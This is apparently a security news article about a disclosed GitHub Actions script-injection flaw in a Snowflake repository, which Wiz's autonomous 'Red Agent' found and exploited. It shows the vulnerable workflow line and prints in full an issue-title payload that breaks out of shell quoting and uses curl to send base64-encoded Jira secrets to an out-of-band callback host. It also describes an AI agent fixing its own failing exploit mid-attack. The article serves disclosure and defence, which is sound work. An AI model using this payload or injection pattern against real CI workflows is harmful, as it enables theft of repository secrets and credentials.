On June 18, 2026, a pull request titled "SNOW-2069227: Update jira workflows" was squash-merged into snowflakedb/snowflake-connector-net, a public repository maintained by Snowflake. GitHub Copilot Autofix was listed as a co-author on the merge commit. GitHub Advanced Security scanned the final revision, including the workflow file that shipped with the change. Neither flagged a problem.
Five days later, an autonomous AI agent built by security vendor Wiz scanned Snowflake's GitHub organization, found the same file, and had a working remote-command-execution exploit running against a live GitHub Actions runner within minutes — including self-correcting a broken shell payload mid-attack, without a human in the loop. It exfiltrated a Jira API token that opened read access to Snowflake's internal engineering, security-compliance, and bug-bounty tracking projects.
Wiz published the full technical writeup on August 17. It's a genuinely useful case study for anyone who writes CI/CD workflows or leans on AI code review for confidence — not because an AI "wrote a vulnerability," which is the headline version that's already circulating and which Wiz itself had to walk back, but because of what actually happened: two different AI-assisted safety nets looked directly at the vulnerable line and passed it, while a third AI system built purely to attack found it, exploited it, hit a runtime error, and fixed its own exploit on the fly.
What actually happened
Wiz Research operates a bug bounty program against Snowflake through HackerOne, and as part of that ongoing engagement it runs "Red Agent" — described in Wiz's post as an autonomous, AI-powered security research tool — against Snowflake's public attack surface, including its open-source GitHub repositories.
Red Agent's CI/CD-focused capability scanned Snowflake's GitHub organization and flagged jira_issue.yml, a workflow in the connector-net repo that fires automatically whenever anyone opens a GitHub issue. The workflow's job was mundane: mirror new GitHub issues into Snowflake's internal Jira. The bug was that it built a shell command out of the issue title without safely escaping it first — a textbook GitHub Actions script injection, a vulnerability class GitHub's own security team has been publishing guidance about since 2020.
The vulnerable pattern was introduced in commit 094038e and went live when PR #1218 was squash-merged as commit 4a1b8ce. Wiz's post was updated on August 17 at 19:57 UTC specifically to correct the record on attribution: Copilot Autofix's documented contribution to that PR was a separate, unrelated fix to a different file (jira_close.yml), not the change to jira_issue.yml that actually shipped the injection. What Copilot Autofix did do was co-author the merged PR and review the combined change set — including the vulnerable workflow — and sign off on it as clear. Whether the vulnerable line itself was AI-assisted at all is, per Wiz, still unclear. That's a meaningfully different claim than "Copilot wrote the bug," and it's worth sitting with, because the sloppier version is the one that's spreading.
How the injection actually worked
The old, safe version of the workflow did this:
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: jq -n --arg title "$ISSUE_TITLE" ...
Passing untrusted input through an environment variable and into jq --arg is the textbook-correct pattern: the value never gets interpreted as shell syntax. The PR replaced it with this:
run: |
TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g")
This looks like it's still trying to sanitize the input — there's visible sed escaping right there. The problem is ordering. GitHub expands ${{ github.event.issue.title }} textually into the YAML before the shell ever runs, so the attacker's raw string lands inside the echo '...' quotes first, and the sed escaping only applies after the shell has already parsed (and potentially broken out of) that quoted string. A single unescaped ' in an issue title closes the quote early and hands the rest of the title to bash as literal commands. This is the exact failure mode GitHub's own untrusted-input documentation warns against, reintroduced by removing the pattern that had already been avoiding it.
There was a second failure stacked on top. The workflow had what looked like an authorization gate:
if: (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]')
github.event.pull_request only exists on pull-request-triggered events. On an issues event, it's always null. So the condition collapses to null != 'whitesource-for-github-com[bot]', which is always true — the "gate" passes for every single GitHub user on Earth, authenticated or not. This is a specific, recognizable footgun: a condition copy-pasted from a PR-triggered workflow into an issue-triggered one, where the context object it references simply doesn't exist in the new trigger's payload, silently degrading to "always allow."
Both mistakes are things a human reviewer, a linter, or a static analysis pass could plausibly catch individually. Neither Copilot Autofix's review nor GitHub Advanced Security's scan caught either one, on the actual merged revision, in production.
The exploit, including the part that didn't work first
Wiz crafted a GitHub issue title designed to break out of the echo string and exfiltrate the workflow's Jira secrets via an out-of-band HTTP callback. The first version of the payload used # to comment out the rest of the injected line — a standard technique — but it broke: the # also swallowed the closing parenthesis of TITLE=$(...), so the runner returned a bash syntax error instead of executing anything.
According to Wiz's account, Red Agent didn't stop there. It parsed the syntax error, reasoned about why the comment character had consumed more than intended, and revised the payload to use ; echo ' to properly re-close the shell block before continuing — then re-fired it. The corrected payload:
' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo '
Within seconds, Wiz's listener received a callback from a GitHub-hosted Azure runner IP carrying base64-encoded credentials. The token authenticated as qa@snowflake.net against snowflakecomputing.atlassian.net, with read access spanning engineering, security-compliance, and bug-bounty-tracking Jira projects — which is how Wiz was able to produce a screenshot of the internal Jira portal as proof of impact.
The self-correction is the detail worth dwelling on. A syntax error that kills a scripted exploit normally just kills it — someone has to notice, debug, and rerun manually. Here the agent treated a failed shell command the way an interactive attacker would: read the error, adjust the payload, retry, succeed. That's a small step technically, but it's the step that turns "found a vulnerability" into "autonomously demonstrated full impact," and it's the part that scales badly for defenders, because it removes the human latency that used to sit between discovery and exploitation.
Timeline and response
Snowflake remediated the same day it was notified — June 23, 2026 — restoring the original env: plus jq --arg pattern in commit 1dc7766 (PR #1402) and rotating the exposed Jira token. Wiz says forensic review of Snowflake's audit logs confirmed no party other than Wiz's own testing infrastructure accessed the token during the five-day exposure window, and that all data Wiz retrieved during proof-of-concept testing was deleted. The roughly two-month gap between the June disclosure and the August 17 publication is standard practice for responsible-disclosure writeups — time for the vendor to patch, verify, and clear publication.
Why this matters beyond one Snowflake repo
The mechanism itself — unescaped template expansion into a shell block, plus a broken if: gate copied across trigger types — is common enough that GitHub Actions script injection remains one of the most frequently rediscovered vulnerability classes in public CI/CD workflows. What makes this incident a useful signal rather than just another CVE writeup is the layered failure: an AI coding assistant reviewed the merged change and called it clean, an established static-analysis security product scanned the same file and stayed silent, and a purpose-built offensive AI agent needed neither prior knowledge of the codebase nor a human operator to find, weaponize, and prove impact against the same line of YAML within days.
That's a different risk model than "AI sometimes writes insecure code," which is already well understood and increasingly guarded against with review gates. The harder problem is that AI-assisted review and AI-assisted scanning can create false confidence — a PR that's been "checked" by a bot reads as safer than one that hasn't, even when the check missed something a dedicated attacker (human or agent) would catch immediately. Meanwhile, the tooling on the offensive side is closing the gap between "vulnerability exists" and "vulnerability is exploited" from weeks to hours, with no requirement that a skilled human be present at the keyboard.
For teams running GitHub Actions against public repos, the practical exposure is broad: any workflow that triggers on issues, issue_comment, pull_request_target, or similar events and interpolates event payload fields (titles, bodies, branch names, commit messages) directly into a run: block is a candidate for this exact bug class, independent of whether Copilot or any other AI tool touched it. The fix is unglamorous and has been documented for years: never interpolate untrusted github.event.* fields directly into shell syntax — pass them through env: and reference them as shell variables, or use jq/printf %q for structured escaping, every time, with no exceptions for "it's just a mirroring script."
Two smaller lessons sit underneath the headline one. First, "the workflow already has an if: gate" is not the same claim as "the gate does what its author intended" — the Snowflake condition was syntactically valid, referenced a real (if wrong) context field, and would pass code review by anyone skimming it for shape rather than tracing which fields are actually populated for that specific trigger. Second, the vulnerable version of the workflow added visible sanitization (the sed calls) compared to the safe version it replaced — it looks more defensive, not less, which is exactly the kind of change that lulls a reviewer, human or AI, into treating "has escaping logic" as equivalent to "escapes correctly, in the right order, relative to GitHub's own template expansion." Neither of those is a novel insight in security engineering generally, but both are easy to miss under the specific pressure of "this PR touches CI config, not application code," which tends to get less scrutiny than it deserves.
What the announcement leaves out
Wiz's post is a vendor security blog documenting Wiz's own product finding a bug — that context matters when weighing the framing. It's a single incident, not a systematic audit of Copilot Autofix or GitHub Advanced Security's detection rates on this vulnerability class, so it doesn't tell you how often either tool does catch script injection versus this one miss. It's also not independently verifiable by an outside reader: the audit-log forensics, the "no other party accessed the token" claim, and the full internal Jira access scope are all reported by Wiz based on data only Wiz and Snowflake could see. None of that is a reason to dismiss the findings — the technical mechanism (the diff, the broken if: condition, the callback) is concrete and checkable — but it's worth reading as "here's what one vendor's red-team agent demonstrated," not as a peer-reviewed audit of AI code review in general.
The post also doesn't say whether the underlying jira_issue.yml change was itself written with AI assistance, only that Copilot Autofix's documented contribution was elsewhere in the same PR. That ambiguity is honestly reported, but it means the cleanest version of the "AI wrote the vulnerability" story that's been circulating isn't actually established by Wiz's own evidence.
Competitive and independent read
Autonomous offensive-security agents are becoming their own product category — tools built specifically to chain reconnaissance, exploitation, and impact assessment without a human operating each step — and Red Agent is Wiz's entry into that space, sitting alongside a defensive product line (cloud security posture management) that's traditionally been about finding misconfigurations, not exploiting them live. That's a notable positioning shift for a company known for passive scanning: proving impact by actually popping a target is a different pitch than flagging a risk score.
The more interesting tension is upstream of any single vendor. GitHub ships both the assistant that reviews your PRs and the scanner that checks your merged code, and in this incident both missed the same bug on the same file. That's not a knock on GitHub specifically — every SAST tool and every AI reviewer has blind spots, and script injection via template expansion is a notoriously easy pattern to miss because the vulnerable code doesn't look wrong at a glance, it looks like someone added sanitization. But it's a concrete data point against treating "an AI reviewed this" or "a scanner ran on this" as a substitute for understanding the specific vulnerability class your workflow triggers are exposed to.
Who should act on this
If you maintain GitHub Actions workflows — especially ones triggered by issues, issue_comment, or pull_request_target on public repos — this is worth an afternoon: grep your .github/workflows/*.yml for any run: block that references github.event.* fields directly rather than through an env: variable, and check every if: condition against the actual event payload fields available for that specific trigger type (not copy-pasted from a workflow with a different trigger). GitHub's own documentation on untrusted input is the canonical reference and predates this incident by years — the gap here wasn't unknown guidance, it was guidance not consistently applied on a re-merge.
If you're evaluating AI-assisted code review or Autofix-style tooling, this isn't a reason to turn it off — it's a reason to keep treating its sign-off as one input among several rather than a clearance. And if you're tracking the autonomous-agent security space, Red Agent is a concrete, technically documented example of what "AI agent chains recon through exploitation without human intervention" looks like in practice right now, mid-attack error recovery included, which is a more specific claim than most vendor marketing in this category currently backs up with a public writeup.
If none of that applies to you — you don't maintain public CI/CD workflows and aren't evaluating security tooling — there's nothing here that needs your attention today.
Discussion: If an AI code reviewer and a static analysis scanner both sign off on a PR, how much weight should that combined signal actually carry versus a single competent human reviewer who understands the specific trigger semantics of the workflow being changed — and where's the line between "useful additional signal" and "false confidence" in your own team's review process?
Sources:
Top comments (0)